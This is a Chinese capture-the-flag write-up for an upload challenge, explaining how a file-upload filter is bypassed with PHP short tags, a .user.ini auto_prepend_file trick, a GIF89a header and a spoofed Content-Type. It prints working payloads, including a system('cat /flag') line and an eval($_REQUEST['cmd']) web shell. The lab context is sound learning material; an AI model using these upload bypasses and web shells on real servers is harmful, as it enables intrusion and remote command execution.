刚刷完upload-labs靶场,做做ctf题目,发现自己掌握的知识并不牢固。做了半天没有解出来,最后还是看别人的题解做出来的。写下做题过程,也就是wp吧。为了方便以后复习巩固。
本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行
这里需要绕过的点如下
- 检查文件内容是否有php字符串
- 检查后缀中是否有htaccess或ph
- 检查文件头部信息
- 文件MIME类型
对于第一点可以利用短标签绕过,例如<?=phpinfo();?>(这同时也是我的知识盲区)
对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell,
可以参考以下文章
https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
知识点:在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。
这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。
其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。
知识点:
auto_prepend_file 表示加载第一个PHP代码之前执行指示(包含的)PHP文件
auto_append_file 表示加载第一个PHP代码之后执行指示(包含的)PHP文件
简单来说
auto_prepend_file = <filename> //包含在文件头
auto_append_file = <filename> //包含在文件尾
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。
第三点绕过方式即在文件头部添加一个图片的文件头,比如GIF89a
知识点:
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。
php下检测(使用getimagesize函数无法判断其图片是无效的)
第四点绕过方法即修改上传时的Content-Type为image/jpg
得到flag过程:
上传.user.ini,内容为:
GIF89a
auto_prepend_file=a.jpg
上传a.jpg,内容为:
GIF89a
<?=system('cat /flag');?>
或
GIF89a
<?=eval($_REQUEST['cmd']);?>
上传成功根据文件地址连接蚁剑获取flag
文章来源:https://www.toymoban.com/news/detail-427299.html
文章来源地址https://www.toymoban.com/news/detail-427299.html
到了这里,关于攻防世界ctf题目easyupload做题笔记。的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!